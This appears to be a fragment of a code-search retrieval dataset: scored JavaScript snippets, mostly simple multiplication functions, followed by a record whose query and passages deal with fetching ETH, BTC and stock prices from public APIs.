"function timesFive(mult){\n return (mult * 5);\n}", "title": "" }, { "docid": "6879786ebe7117fcd13864c7b7caff1b", "score": "0.6599702", "text": "function multiply(a, b, c, d) {\n let val = a * a + b * b + c * c + d * d;\n console.log(val);\n}", "title": "" }, { "docid": "a1d8defdd9ca5c60c4bd315f695dd48d", "score": "0.6593156", "text": "function multyAll(...nums){ //if just nums - it required 1 param, but that transfer arguments to an array\n return nums.reduce((mult, currentVal)=>mult*currentVal)\n}", "title": "" }, { "docid": "b22c2cdd880ceae0a9ac3d9691dd96de", "score": "0.65911543", "text": "function multiple_operators(){\n var multiple_operators = (3+3)*10/5-3;\n document.getElementById(\"multiple_operators\").innerHTML = \"(3 + 3) * 10 / 5 - 3 = \" + multiple_operators;\n}", "title": "" }, { "docid": "34e2e037c5597f27f375c2e2c7d6af71", "score": "0.658788", "text": "function multiplyThree(firstNum, secondNum, thirdNum) {\n console.log('in multiplyThree:', firstNum, secondNum, thirdNum);\n return firstNum * secondNum * thirdNum;\n}", "title": "" }, { "docid": "30daa0925a7f075b1e36890ac29ef3d4", "score": "0.65238214", "text": "calculateProduct(...numbers) {\n return this.multiply(...numbers);\n }", "title": "" }, { "docid": "75ce4009ed48dd2c5bce97607da56e79", "score": "0.6518574", "text": "function multiply() {\n var result = 3 * 4;\n console.log(\"3 multiplied by 4 is \", result);\n}", "title": "" }, { "docid": "40995060e67acb2bb74550af2699e41c", "score": "0.6517397", "text": "function E_MULTIPLY()\n{\n var length=E_MULTIPLY.arguments.length;\n var result=1\n \n for(i=0;i<length;i++)\n {\n result=result*document.getElementById(arguments[i]).value;\n \n }\n \n return result;\n}", "title": "" }, { "docid": "bc748ea97a5e45701f7b15457773ecc7", "score": "0.6499796", "text": "function mult(a, b){\n\treturn a*b;\n}", "title": "" }, { "docid": "6fda824628c0e61c90937e867337b4ce", "score": "0.649383", "text": "function mult(a, b) {\n return a * b;\n}", "title": "" }, { "docid": "3fddcdad87eeef19900f26a14749a7a1", "score": "0.64750427", "text": "function mult(a, b) {\n return a * b;\n}", "title": "" }, { "docid": "26bd8491741f639c8f3693615219f821", "score": "0.6474534", "text": "function multiplier(factor) \n{\n \n return number => number * factor;\n}", "title": "" }, { "docid": "7799d6bcd8361aa87a558b496c284a2f", "score": "0.6467028", "text": "function mulRecurse(...nums){\n let mul= nums[0]\n for(let i=1;i<nums.length;i++){\n mul=mul*nums[i]\n }\n return mul\n}", "title": "" }, { "docid": "2e96ef1d9f5d3adba59e7c2eb5cb05c5", "score": "0.6435999", "text": "function mul(num1,num2){\n var res(num1**num2)\n console.log(res)\n \n}", "title": "" }, { "docid": "d961f75d7cd676ae7fbeaf287258769f", "score": "0.64197654", "text": "function multiplicacion (a,b){\n const result = a * b;\n return result;\n\n}", "title": "" }, { "docid": "cd843494fdf20ab2399f0920b6833246", "score": "0.64175034", "text": "function math_product() {\n var output = arguments[0];\n for (var i =1; i < arguments.length; i++){\n output *= arguments[i];\n }\n return output;\n}", "title": "" }, { "docid": "5c53ddda9631d57621db172b8113e757", "score": "0.64155674", "text": "function mult(factor) {\n return x => x * factor;\n}", "title": "" }, { "docid": "c17cc5a268d19fadd59a6293ec061544", "score": "0.64149994", "text": "function multiplyThreeNumbers(x, y, z) {\n const product = x * y * z;\n console.log(product);\n}", "title": "" }, { "docid": "0bad2b4a85d9841af10c27cab19ecaea", "score": "0.6403997", "text": "function multiplicar(){\n var mult= 1;\n for(let i=0;i<arguments.length;i++){\n mult*=arguments[i];\n }\n return mult;\n}", "title": "" }, { "docid": "03ad69afb6aaec2439a2172e1ab9f911", "score": "0.64002776", "text": "function multipleFunctions(godNumber) {\n\n let halfNumber = godNumber/2;\n let squareNumber = halfNumber ** 2;\n let areaNumber = Math.PI * squareNumber ** 2;\n let percentAreaNumber = areaNumber/squareNumber * 100\n \n let eleMultFunc = document.querySelector (`.ex10`)\n eleMultFunc.innerHTML = `The half of ${godNumber} is ${halfNumber}.<br> \n The square of ${halfNumber} is ${squareNumber}. <br> \n The area of a circle with a radius of ${squareNumber} is ${areaNumber} <br>\n ${areaNumber} is ${percentAreaNumber}% of ${squareNumber} `\n\n console.log(`The half of ${godNumber} is ${halfNumber}.<br> \n The square of ${halfNumber} is ${squareNumber}. <br> \n The area of a circle with a radius of ${squareNumber} is ${areaNumber} <br>\n ${areaNumber} is ${percentAreaNumber}% of ${squareNumber} `)\n \n}", "title": "" }, { "docid": "1e729da816c3d117e2d70759bbdf1c86", "score": "0.6392961", "text": "function multuply(num){\n let result = num.reduce((a, b) => a * b);\n return result;\n}", "title": "" }, { "docid": "99e3501929643330107cc0b78edd1b87", "score": "0.63897264", "text": "function multiplyThreeNumbers(num1, num2, num3) {\n return num1 * num2 * num3;\n}", "title": "" }, { "docid": "448a30b9b4b8e9e174be231febbf7875", "score": "0.63699776", "text": "function multiply(nm1,num2,nm3) {\n pro = (nm1*num2*nm3)\n console.log(pro)\n}", "title": "" }, { "docid": "5e34a7da9aae44c39c72c9f748a1d548", "score": "0.63651407", "text": "function mul(x) { \n return function(y) {\n return function(z) {\n return x*y*z;\n }\n }\n}", "title": "" }, { "docid": "d5b5a274a5afd5551fb2d2ed74121636", "score": "0.6362741", "text": "function mul(num1,num2)\n{\n console.log(\"Multiplication :\",num2*num1);\n}", "title": "" }, { "docid": "7be7fdac728418ed8eb26c01a56e0f8c", "score": "0.6355629", "text": "function multiplyByFive(num){\n return num * 5;\n}", "title": "" }, { "docid": "b40dfde79e4e31fd91bc04e348e2529b", "score": "0.6350985", "text": "function mul(a,b){\nreturn a*b;\n}", "title": "" }, { "docid": "2ee8b6f9b730a7a7ed060fb877055ee9", "score": "0.63443404", "text": "function multiply() {\n var mul = 6 * 8;\n document.getElementById(\"math\").innerHTML = \"6 x 8 = \" + mul;\n}", "title": "" }, { "docid": "756ee3a04d48d946c9908084bd7ae79a", "score": "0.63442665", "text": "function multiply(first, second) {\n console.log(first*second);\n}", "title": "" }, { "docid": "f63e92384bb5b8eb25340223bef37b7d", "score": "0.6332122", "text": "function tripleIt(num){\n var result = num * 3;\n return result;\n}", "title": "" }, { "docid": "ba4a34a2482eee1c091a0b8d3fe70c95", "score": "0.63321096", "text": "function multiply2x6() {\n var a = 2;\n var b = 6;\n var c = a*b;\n console.log(c);\n}", "title": "" }, { "docid": "359ae53f96a589278c95672a2bd51983", "score": "0.6327874", "text": "function numberMultiplier (firstNum, secondNum) {\n return firstNum * secondNum;\n\n}", "title": "" }, { "docid": "d790f84264d348cc8c21f05a11284a1c", "score": "0.6324921", "text": "function mult(x, y, z) { return x * y * z }", "title": "" }, { "docid": "1dedd1f90b6a46fa000339b008d5ba09", "score": "0.6314305", "text": "function multiply(firstNumber, secondNumber){\n return firstNumber * secondNumber;\n}", "title": "" }, { "docid": "4e7d8dec8b730f10d57f2ab2787b5eb8", "score": "0.62949544", "text": "function multiply(n){\n\tif (n%3=== 0){\n\t\treturn n+' '+'is a mutiple of 3';\n\t}\n\treturn n+' '+' is not multiple of 3';\n}", "title": "" }, { "docid": "9a45d6489413e41d22980789e31a5181", "score": "0.62927055", "text": "function mul(a,b){\r\n return a*b;\r\n}", "title": "" }, { "docid": "1870a5768bd25c46eed1aed5caf1a545", "score": "0.62745476", "text": "function multiply(multiplyNum1, multiplyNum2) {\n var multiplied = multiplyNum1 * multiplyNum2;\n //console.log('The product of ' + multiplyNum1 + ' and ' + multiplyNum2 + ' is ' + multiplied + '.');\n return multiplied;\n}", "title": "" }, { "docid": "d13ce1a0004c92fc32dda607133b949f", "score": "0.62674403", "text": "function multiply(a, b, c) {\n\n return a * b * c;\n}", "title": "" }, { "docid": "e4da5b53210003a6b6ebc83889fb1833", "score": "0.62656057", "text": "function productNumbers(p1, p2, p3) {\n return p1 * p2 * p3;\n}", "title": "" }, { "docid": "bdc5c20f8ade604f5c7d78713b9b3210", "score": "0.62632173", "text": "function multiplication(a,b) {\n\t\tmultiple = a * b;\n\t\tconsole.log(\"result of multiplication function = \" + multiple)\n\t\treturn (multiple);\n\t}", "title": "" }, { "docid": "0a60c5b8a960c84c082ef5e3dc62486e", "score": "0.6262116", "text": "function isMultipleOfThreeAndFive(input) {\n var multiple35 = input;\n return multiple35;\n}", "title": "" }, { "docid": "30ebcfc7ba1f4acc6c8de25a660537d7", "score": "0.625821", "text": "function multiple(multiplier, ...theArays){\n return theArays.map(element => {\n return multiplier * element\n })\n}", "title": "" }, { "docid": "9992d74983aae96d682a8ec626aada8b", "score": "0.6235403", "text": "function multiFunction (number, fn) {\n fn(number)\n //above will call the addTwo function and give the number that was called into the multiFunction and then run multiFunction\n}", "title": "" }, { "docid": "170654c41d8c179581321a38e10f5f19", "score": "0.62285477", "text": "function Multiple()\n{\n if (operation !== '') Equals();\n x = value;\n value = 0;\n operation = '*';\n Display();\n}", "title": "" }, { "docid": "054f8ecd76d6d7ef1f1b4326c4ff59f0", "score": "0.62278277", "text": "function creerMultiplicateur(multiple) {\n\treturn function(valeur) {\n\t\treturn valeur * multiple;\n\t}\n}", "title": "" }, { "docid": "5ddd82038c82242e53f89c5fa8a24ba4", "score": "0.6221751", "text": "function multiplier(num1)\n{\n return function output(num2)\n {\n console.log(\"num1: \" + num1, \"\\nnum2: \" + num2);\n return num1 * num2;\n }\n}", "title": "" }, { "docid": "6744254c319c11b8adef51cdf7de1cca", "score": "0.62199754", "text": "function multiply(a, b, c) {\n return a * b * c;\n}", "title": "" }, { "docid": "3d349d593895d0c964baccb02b6728a4", "score": "0.6214771", "text": "function isMultiple(n){\r\n\t\r\n\tlet msg = n;\r\n\t\r\n\tlet ofThree = n%3 == 0;\r\n\tlet ofFive = n%5 == 0;\r\n\tlet ofSeven = n%7 == 0;\r\n\t\t\r\n\tif(ofThree + ofFive + ofSeven == 3){\r\n\t\t\r\n\t\tmsg +=` is a multiple of 3, 5 and 7.`;\r\n\t}\r\n\telse if(ofThree + ofFive + ofSeven == 2){\r\n\t\t\r\n\t\tmsg +=` is a multiple of ${ofThree ? 3 : 5} and ${ofSeven ? 7 : 5}.`;\r\n\t}\r\n\t\r\n\telse if(ofThree + ofFive + ofSeven == 1){\r\n\t\t\r\n\t\tmsg +=` is a multiple of ${ofThree ? 3 : ofFive ? 5 : 7}.`;\r\n\t}\r\n\t\r\n\telse{\r\n\t\t\r\n\t\tmsg +=` is not a multiple of 3, 5 or 7.`;\r\n\t}\r\n\t\r\n\treturn msg;\r\n\t\r\n}", "title": "" }, { "docid": "7991fc1fec75c54b59fd6aad02877d19", "score": "0.6213281", "text": "function multiplier(a, b) {\n return a*b;\n}", "title": "" }, { "docid": "3a5222ea6b45561568087eba186c67fa", "score": "0.6205521", "text": "function multiplicar ( primeroreando, segundooperando ){\n var resultado = primeroreando * segundooperando;\n console.log(\"El resultado es: \" + resultado);\n}", "title": "" }, { "docid": "39284d67808748e219f932a891c111c9", "score": "0.619965", "text": "function multiply(a, b){\nconsole.log( a * b)\n }", "title": "" }, { "docid": "5328b34db95ff5daacc3cf6dc664fa8f", "score": "0.61952454", "text": "function isMultipleOfThree(input){\n return input;\n}", "title": "" }, { "docid": "b2904753d48a43dcaa183960148f421d", "score": "0.61918914", "text": "function product() {\n const numbers = getNumbers(1);\n let result = 1;\n\n for (let number of numbers) result *= number;\n\n document.querySelector('#result').value = result;\n}", "title": "" }, { "docid": "477582a26cd25b00ca299f12748d3c56", "score": "0.6186691", "text": "function multiply(num1, num2,) {\n answer = (num1 * num2) \n return answer\n}", "title": "" }, { "docid": "c59c793eba420b5b756ac63c17416235", "score": "0.6186028", "text": "function myFunction(num1, num2, num3) {\n let value = 0;\n for(let i =0; i < num3; i++){\n value = (value + num2) * num1;\n } return value / (num1 * (num3 * 10));\n }", "title": "" }, { "docid": "c0483e64e2e95485ad5945a8f380c9f4", "score": "0.6183625", "text": "function multiply(num1, num2){\n let product= num1 * num2;\n return product;\n}", "title": "" }, { "docid": "2a16194bea35a6cc42629476402876b9", "score": "0.6180976", "text": "function mul(x) {\n return function(y){\n return function(z) {\n return x * y * z;\n } \n }\n}", "title": "" }, { "docid": "58318f8c96a0cbfa41d680e056a20916", "score": "0.61791074", "text": "function doIt () {\nlet list = [1, 2, 3, 4, 5, 6, 7, 2, 2, 2];\nlet factor = 3; \ndocument.getElementById(\"array\").innerHTML = list.toString();\ndocument.getElementById(\"factor\").innerHTML = factor;\ndocument.getElementById(\"output\").innerHTML = multiply(list, factor);\n}", "title": "" }, { "docid": "da57637c8d3f5973e290b8fbfd7759d6", "score": "0.61736625", "text": "function product(...numbers) {\n return numbers.reduce(function(acc, number) {\n return acc * number;\n }, 1);\n}", "title": "" }, { "docid": "c1fd852f1f82111a78cdf409fbb9a929", "score": "0.6172912", "text": "static multiply(multiplier, multiplicand) {\n return multiplier * multiplicand\n }", "title": "" }, { "docid": "4646f0e48e3baea69e20cd57fbb62c25", "score": "0.617128", "text": "function $n1() {\n return ($n2() * $n3())\n}", "title": "" }, { "docid": "bc0368ac4fcfc8372da5fc2d0d93ff87", "score": "0.6165295", "text": "function multiply() {\r\n return num1 * num2;\r\n}", "title": "" }, { "docid": "45d1b52cf829a010e0b490d1d7853ceb", "score": "0.61645913", "text": "function multipleOf(number){\n if (number % 3 === 0 && number % 5 === 0) {\n console.log(\"FizzBuzz\");\n \n } \n else if (number % 5 === 0) {\n console.log(\"Buzz\");\n \n } \n else if (number % 3 === 0) {\n console.log(\"Fizz\");\n }\n \n else {\n console.log(number);\n }\n}// end of func", "title": "" }, { "docid": "e65f4d183f5839e0158bcaf310314b9f", "score": "0.61597383", "text": "function multiply(num1, num2) {\n console.log(`Value of ${num1} and ${num2}`)\n let res = num1 * num2\n return res\n}", "title": "" }, { "docid": "23e6249cfaa67f9493c4271b2933675d", "score": "0.61575663", "text": "function multiply() {\n const args = [...arguments];\n const res = args.reduce((total, elem) => {\n return elem ? elem * total : elem + total;\n }, 1);\n \n return res;\n}", "title": "" }, { "docid": "64aae3246d5c29be5305769dacf9f557", "score": "0.61573637", "text": "function sum_multi(a, b){\n let number1= a;\n let number2= b;\n let sum= number1 + number2;\n let multi= number1 * number2;\n console.log('number1= ', number1);\n console.log('number2= ', number2);\n console.log('Their sum is ', sum);\n console.log('Their multiplication is ', multi);\n}", "title": "" }, { "docid": "b46ee963ccdaa6fec7d193d4c343e989", "score": "0.6152613", "text": "function add(num1,num2){\n let genNumber = 50;\n let result = num1 + num2 + genNumber;\nfunction multiply(){\n\n let mutiplyResult = genNumber * result;\n console.log(mutiplyResult);\n \n}\nmultiply();\n\n// console.log(mutiplyResult);\n return result;\n}", "title": "" }, { "docid": "dd2edaad632bd0f518d26e598b326b2e", "score": "0.61482245", "text": "function math(num1, num2, num3) {\n return num1 + (num2 * num3);\n}", "title": "" }, { "docid": "b8a981d10ee5ef08da3814a305e1b63c", "score": "0.6146367", "text": "function multiply(m, n) {\r\n return m * n;\r\n}", "title": "" }, { "docid": "7357850906cff40dc77196c941748104", "score": "0.61411905", "text": "function multiply(...s){\n\n\tconsole.log(\"multiply\",s)\n}", "title": "" }, { "docid": "b487b8678f2fbf62437aa8dc3f97e1ac", "score": "0.6122614", "text": "function multiply(a, b) {\n console.log(a * b);\n}", "title": "" }, { "docid": "c1e83f0dae6cafc2475ba76e2cdf93c1", "score": "0.61176467", "text": "function multiplication(){\n var multiplication = 5*3;\n document.getElementById(\"multiplication\").innerHTML = \"5*3 = \" + multiplication;\n}", "title": "" }, { "docid": "a4504d2ac0ba711095eaa57c622b1e34", "score": "0.6116364", "text": "function myNumber (a, b) { \n return a * b}", "title": "" }, { "docid": "199998bfda60379f39ef0731d30cc934", "score": "0.61065793", "text": "function multiply(a, b){\r\n return a * b\r\n}", "title": "" }, { "docid": "ea67d2ebbf8108332e897ea003b987b6", "score": "0.61031806", "text": "function multiply(firstNum, ...numbers) {\n return numbers.reduce((a, b) => a * b, firstNum);\n }", "title": "" }, { "docid": "cb05df8598a907d9588efa2d61c41f95", "score": "0.60988677", "text": "function multiply(x, y) {\n\n}", "title": "" }, { "docid": "a27f7a5b002bb160827940626f5d4b3c", "score": "0.60800683", "text": "function times(number1, number2, number3){\n\t// mulTotal will hold the result of the 3 numbers being multiplied\n\tvar mulTotal = number1 * number2 * number3;\n\t\n\t// now that we have the answer to our calculation we need to get it outside of the function. we will return mulTotal so it\n\t// kicks out and gets stored in the mulAnswer variable we set before this function\n\treturn mulTotal;\n}", "title": "" }, { "docid": "c6b4405aca5e9b1f0466c54d9318e136", "score": "0.6074542", "text": "function mul (x,y) {\n var multiply = x * y;\n console.log('The product of ' + x + ' ' + y + ' is ' + multiply);\n return multiply;\n}", "title": "" }, { "docid": "8a72173cd9104d1e391bf32de5305c73", "score": "0.6068912", "text": "function multiply(a, b){\n return (a * b)\n }", "title": "" }, { "docid": "e57d793754ac953a4a09265a521dea25", "score": "0.6068195", "text": "function multiply(n1,n2){\n return n1*n2;\n }", "title": "" }, { "docid": "3a91e5242d939d5e71dd35c3a0649e33", "score": "0.6067971", "text": "function multiply (a, b) {\n return a*=b\n}", "title": "" }, { "docid": "b408d2934df0c9c22954b1b6e1fc0c86", "score": "0.6064019", "text": "function l6myFunc(){\n // change the value of id multip to value of 4 *3\n document.getElementById(\"multip\").innerHTML = l6params(4, 3);\n}", "title": "" }, { "docid": "49b31852d53421d8ecc0d58ab94e0885", "score": "0.60638344", "text": "function multiply (number) {\n\n return function (val) {\n return number * val; \n }; \n}", "title": "" }, { "docid": "92de90574f272ae8de2bc655c56942c2", "score": "0.60629636", "text": "function products( a, b , c){\n let product = Math.pow((a*b), c)\n return product;\n}", "title": "" }, { "docid": "2e1ab92e72706b7f7cd12da7c51a0644", "score": "0.6053656", "text": "function multiFunc(num){\n \n\n \n let half = halfNumber(num)\n let squared = squareNumber(half)\n let area = areaOfCircle(squared)\n let perc = percentOf(squared, area)\n let finalResult = [half, squared, area, perc]\n return finalResult\n}", "title": "" } ]
23858019e72f5c03d7fbc445c985dd81
This function gets the ETH price for a specific timestamp/date. The date is passed in as an argument
[ { "docid": "5beb3958e2f83501d155726363feec15", "score": "0.7491709", "text": "getETHPrices (date) {\n return axios.get('https://min-api.cryptocompare.com/data/pricehistorical?fsym=ETH&tsyms=USD&ts=' + date);\n }", "title": "" } ]
[ { "docid": "6de8ec6c7ea762db73d62893ee149a39", "score": "0.7526721", "text": "getETHPrices (date) {\n return axios.get('https://min-api.cryptocompare.com/data/pricehistorical?fsym=ETH&tsyms=USD&ts=' + date);\n }", "title": "" }, { "docid": "372b8a494b87e68cce125aeb53cd1e29", "score": "0.75137335", "text": "getETHPrices(date) {\n return axios.get('https://min-api.cryptocompare.com/data/pricehistorical?fsym=ETH&tsyms=USD&ts=' + date);\n }", "title": "" }, { "docid": "503dc69000fd85dc4bf078a441083e34", "score": "0.7161114", "text": "async function getPrice(num, date) {\n\t\tlet d = new Date(date);\n\t\tvar url = `/getlowprice?fNum=${num}&class=${tClass}&date=${d.toJSON()}`;\n\t\treturn await fetch(url).then((response) => response.json());\n\t}", "title": "" }, { "docid": "8fc4b4d51eeb8a58553c63e57d46bb74", "score": "0.67313254", "text": "getXMRPrices(date) {\n return axios.get('https://min-api.cryptocompare.com/data/pricehistorical?fsym=XMR&tsyms=USD&ts=' + date);\n }", "title": "" }, { "docid": "7f98181f6337274df3f687f788542f01", "score": "0.66246474", "text": "function getETHPrice() {\n var url = \"https://api.etherscan.io/api?module=stats&action=ethprice\";\n return $.ajax({\n url: url,\n cache: false,\n dataType: \"json\",\n\n success: function (data) {\n try {\n price = data.result.ethusd;\n } catch (err) {\n handleError();\n }\n updateTokenStats(price);\n },\n error: handleError,\n });\n}", "title": "" }, { "docid": "aeda06070da196d7d9e775a178c1a4fc", "score": "0.6473907", "text": "async function getPriceSTEX(chn, coin1, coin2){\n\n //default to usdt if none is provided\n if (typeof coin2 === 'undefined') {\n coin2 = 'BTC';\n }\n if (coin2.toLowerCase() === 'usd' || coin1.toLowerCase() === 'btc'){\n coin2 = 'USDT';\n }\n let tickerJSON = '';\n let fail = false;\n let yesterday = 0;\n let last = 0;\n let s = 0;\n \n //grab last traded price and make sure requested pair is valid\n await stexClient.tradeHistoryPub(coin1.toUpperCase() + \"_\" + coin2.toUpperCase(), function (res) {\n tickerJSON = JSON.parse(res);\n if(tickerJSON.success === 0 || typeof tickerJSON.success === 'undefined'){ fail = true;}\n \n //exit the function if ticker didn't exist or api failed to respond\n if(fail){\n chn.send('API Error: STEX does not have market symbol __' + coin1.toUpperCase() + '/' + coin2.toUpperCase() + '__');\n return;\n }\n s = tickerJSON.result[0].price;\n \n //grab 24hr data\n stexClient.ticker(function (res) {\n let tickerStexSummary = JSON.parse(res);\n for(var i = 0, len = tickerStexSummary.length; i < len; i++) {\n if(tickerStexSummary[i].market_name === (coin1.toUpperCase() + \"_\" + coin2.toUpperCase())){\n last = tickerStexSummary[i].last;\n yesterday = tickerStexSummary[i].lastDayAgo;\n break;\n }\n }\n console.log (chalk.green('STEX API ticker response: '+ chalk.cyan(s)));\n \n //calculate % change from day-old price\n let c = (last-yesterday);\n c = c / yesterday * 100;\n c = Math.round(c * 100) / 100;\n let ans = '__STEX__ Price for **' + coin1.toUpperCase() + '-' + coin2.toUpperCase() + '** is: `' + s + ' ' + coin2.toUpperCase() + '` ' + '(' + '`' + c + '%' + '`' + ')' + '.';\n chn.send(ans);\n });\n });\n}", "title": "" }, { "docid": "d78c11200296e3cae33588f0925aeb80", "score": "0.6355063", "text": "function convertToETHPrice(priceUSD){\n let ETHPrice = cmcArrayDict['eth'.toUpperCase()]['quote']['USD']['price'];\n return priceUSD / ETHPrice;\n}", "title": "" }, { "docid": "af81b5ec80fcc0d2f33d3d517ff8a034", "score": "0.63092947", "text": "function convertTCMBSelling(){\n var date = new Date(document.getElementById(\"dateCur\").value);\n date.setHours(HOUR);\n var tstart = Math.round(date.getTime()/1e3);\n \n var currencyFrom = document.getElementById(\"currencyFrom\").value;\n var currencyTo = document.getElementById(\"currencyTo\").value;\n\n var amount = document.getElementById(\"amount\").value;\n\n var exchangeRate = getCrossRateTCMBDataSelling(1,2,tstart,currencyFrom,currencyTo,function(result){\n var exchanged = amount*result;\n document.getElementById(\"result\").value = exchanged; \n });\n }", "title": "" }, { "docid": "20549c913d85925d4794932826cd285b", "score": "0.62664765", "text": "function convertTCMBBuying(){\n var date = new Date(document.getElementById(\"dateCur\").value);\n date.setHours(HOUR);\n var tstart = Math.round(date.getTime()/1e3);\n \n var currencyFrom = document.getElementById(\"currencyFrom\").value;\n var currencyTo = document.getElementById(\"currencyTo\").value;\n\n var amount = document.getElementById(\"amount\").value;\n\n var exchangeRate = getCrossRateTCMBDataBuying(1,2,tstart,currencyFrom,currencyTo,function(result){\n var exchanged = amount*result;\n document.getElementById(\"result\").value = exchanged; \n });\n }", "title": "" }, { "docid": "fcc4ec10aa5c88dff79d2780f7582c91", "score": "0.6235954", "text": "function getCurrentPrice(coinSymbol) {\r\n for (let key in coinMarketCapData[\"data\"]) {\r\n if (coinMarketCapData[\"data\"][key][\"symbol\"] === coinSymbol) {\r\n return coinMarketCapData[\"data\"][key][\"quotes\"][\"USD\"][\"price\"];\r\n }\r\n }\r\n}", "title": "" }, { "docid": "3a8b9f83adffbbd1937436c7aa1a2704", "score": "0.6173572", "text": "function getBitcoin() {\n let request = new XMLHttpRequest();\n request.open(\"GET\", \"https://api.coindesk.com/v1/bpi/currentprice/USD.json\", true);\n request.onload = function() {\n if (request.status >= 200 && request.status < 400) {\n let data = JSON.parse(request.responseText);\n let price = Math.round(data[\"bpi\"][\"USD\"][\"rate_float\"]);\n document.querySelector(\"#btc-price\").innerHTML = price;\n } else {\n document.querySelector(\"#btc-price\").innerHTML = \"ERROR\";\n }\n };\n request.onerror = function() {\n document.querySelector(\"#btc-price\").innerHTML = \"ERROR\";\n };\n request.send();\n}", "title": "" }, { "docid": "f74f3b270340367e5c68de9a59f1a961", "score": "0.6173398", "text": "function getStockPrice(ticker = 'goog') {\n try {\n request(`http://finance.google.com/finance/info?q=${ticker}`, function(error, response, body) {\n body = body.slice(3)\n body = JSON.parse(body)\n newPrice(body)\n })\n } catch(e) {\n console.log(e)\n }\n}", "title": "" }, { "docid": "469796475420a3f77b12fb62a2e7b808", "score": "0.6136401", "text": "getBTCPrices (date) {\n return axios.get('https://min-api.cryptocompare.com/data/pricehistorical?fsym=BTC&tsyms=USD&ts=' + date);\n }", "title": "" }, { "docid": "5a88235fa9499fed007cc0a87f35f793", "score": "0.6090368", "text": "async function getCurveSBTCTransactVol() {\n try {\n const tokenAddresses={};\n let volumeInUSD=0;\n const latest = await web3.eth.getBlockNumber();\n const result = await curveSBtc.getPastEvents('TokenExchange', { fromBlock: latest-10000, toBlock: latest});\n const now = new Date().valueOf();\n const yesterday = now - (24*60*60*1000);\n for(const evt of result) {\n // console.log(evt);\n const { buyer, sold_id, tokens_sold } = evt.returnValues;\n const block = await web3.eth.getBlock(evt.blockHash);\n const blockDate = block.timestamp*1000; \n // console.log(new Date(blockDate)); \n if(blockDate>=yesterday && blockDate<=now) { \n const id = await instaList.methods.accountID(buyer).call();\n if(id!=0) {\n if(!tokenAddresses[sold_id]) \n tokenAddresses[sold_id] = await curveSBtc.methods.coins(sold_id).call();\n const sold_token = tokenAddresses[sold_id];\n if(!tokenPricesInUSD[sold_token]) {\n if(sold_token==='0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE')\n tokenPricesInUSD[sold_token] = await getEthPriceInUSD();\n else\n tokenPricesInUSD[sold_token] = await getExchangePrice(sold_token.toLowerCase(),'usd'); \n } \n const divFactor = tokenDecimals[sold_token]==undefined ? 18 : tokenDecimals[sold_token];\n volumeInUSD+=(tokens_sold/Math.pow(10,divFactor))*tokenPricesInUSD[sold_token];\n }\n }\n }\n const ethPriceInUSD = tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] ? tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] : await getEthPriceInUSD();\n const volumeInEth=volumeInUSD/ethPriceInUSD;\n // console.log({usd:volumeInUSD, eth:volumeInEth});\n return { usd: volumeInUSD, eth: volumeInEth };\n }\n catch(err) {\n console.log(err);\n }\n}", "title": "" }, { "docid": "08bbb335ce796c2b6bf3147fe6e30ce0", "score": "0.6062891", "text": "function getCrossRate(){\n var date = new Date(document.getElementById(\"dateSingle\").value);\n date.setHours(HOUR);\n \n var currencyFrom = document.getElementById(\"currencyFromBottom\").value;\n var currencyTo = document.getElementById(\"currencyToBottom\").value;\n document.getElementById(\"resultLabel\").value = \"\";\n var bank = document.getElementById(\"bank\").value;\n if(bank == \"ECB\"){\n getCrossRateECB(date,date,currencyFrom,currencyTo);\n }\n else if (bank == \"TCMB\"){\n var type = document.getElementById(\"currencyType\").value;\n if(type == \"Forex Selling\"){\n getCrossRateTCMBSelling(date,date,currencyFrom,currencyTo);\n }\n else if(type == \"Forex Buying\"){\n getCrossRateTCMBBuying(date,date,currencyFrom,currencyTo);\n }\n }\n }", "title": "" }, { "docid": "d8e231d6b59e1a6f2c217df3b6588bd1", "score": "0.60391414", "text": "getBTCPrices(date) {\n return axios.get('https://min-api.cryptocompare.com/data/pricehistorical?fsym=BTC&tsyms=USD&ts=' + date);\n }", "title": "" }, { "docid": "dd8f8bb2e8ca9462bac8c2b38e8c9d62", "score": "0.60390633", "text": "async function getPriceMex(coin1, err, chn){\n \n let s = '';\n let c = '';\n let coin2 = 'btc';\n let tickerJSON = '';\n let today = new Date();\n let dd = String(today.getDate()).padStart(2, '0');\n let mm = String(today.getMonth() + 1).padStart(2, '0'); //January is 0!\n let yy = today.getFullYear() - 2000;\n let m = '';\n let done = false;\n //console.log(mm + \"::\" + dd + \":::\" + yy);\n \n // Figure out current contract code\n if ((mm <= 12 && (mm >= 1 && mm <= 3)) && !done) {if((mm === 3 && dd >= 28)){m = 'M'; done=true;} else{m = 'H'; done=true;}}\n if (mm >= 3 && mm <= 6 && !done) {if((mm === 6 && dd >= 28)){m = 'U'; done=true;} else{m = 'M'; done=true;}}\n if (mm >= 6 && mm <= 9 && !done) {if((mm === 9 && dd >= 28)){m = 'Z'; done=true;} else{m = 'U'; done=true;}}\n if (mm >= 9 && mm <= 12 && !done) {if((mm === 12 && dd >= 28)){m = 'H';} else{m = 'Z';}}\n let contractCode = m + yy;\n //console.log(chalk.blue(contractCode));\n \n // This implementation changes as the BitMEX contract period code changes every 3 months\n switch(coin1.toUpperCase()) {\n case 'BTC':\n tickerJSON = await bitmex.fetchTicker('BTC/USD');\n coin2 = 'usd';\n break;\n case 'ETH':\n tickerJSON = await bitmex.fetchTicker('ETH/USD');\n coin2 = 'usd';\n break;\n case 'BCH':\n tickerJSON = await bitmex.fetchTicker('BCH' + contractCode);\n break;\n case 'EOS':\n tickerJSON = await bitmex.fetchTicker('EOS' + contractCode);\n break;\n case 'ADA':\n tickerJSON = await bitmex.fetchTicker('ADA' + contractCode);\n break;\n case 'LTC':\n tickerJSON = await bitmex.fetchTicker('LTC' + contractCode);\n break;\n case 'TRX':\n tickerJSON = await bitmex.fetchTicker('TRX' + contractCode);\n break\n case 'XRP':\n tickerJSON = await bitmex.fetchTicker('XRP' + contractCode);\n break\n default:\n chn.send('BitMEX Error: `Ticker \"' + err.toUpperCase() + '\" not found.`');\n return;\n } \n \n s = tickerJSON['last'];\n console.log (chalk.green('BitMEX REST API ticker response: '+ chalk.cyan(s)));\n c = tickerJSON['percentage'];\n c = Math.round(c * 100) / 100;\n\n let ans = '__BitMEX__ Price for **' + coin1.toUpperCase() + '-' + coin2.toUpperCase() + '** is: `' + s + ' ' + coin2.toUpperCase() + '` ' + '(' + '`' + c + '%' + '`' + 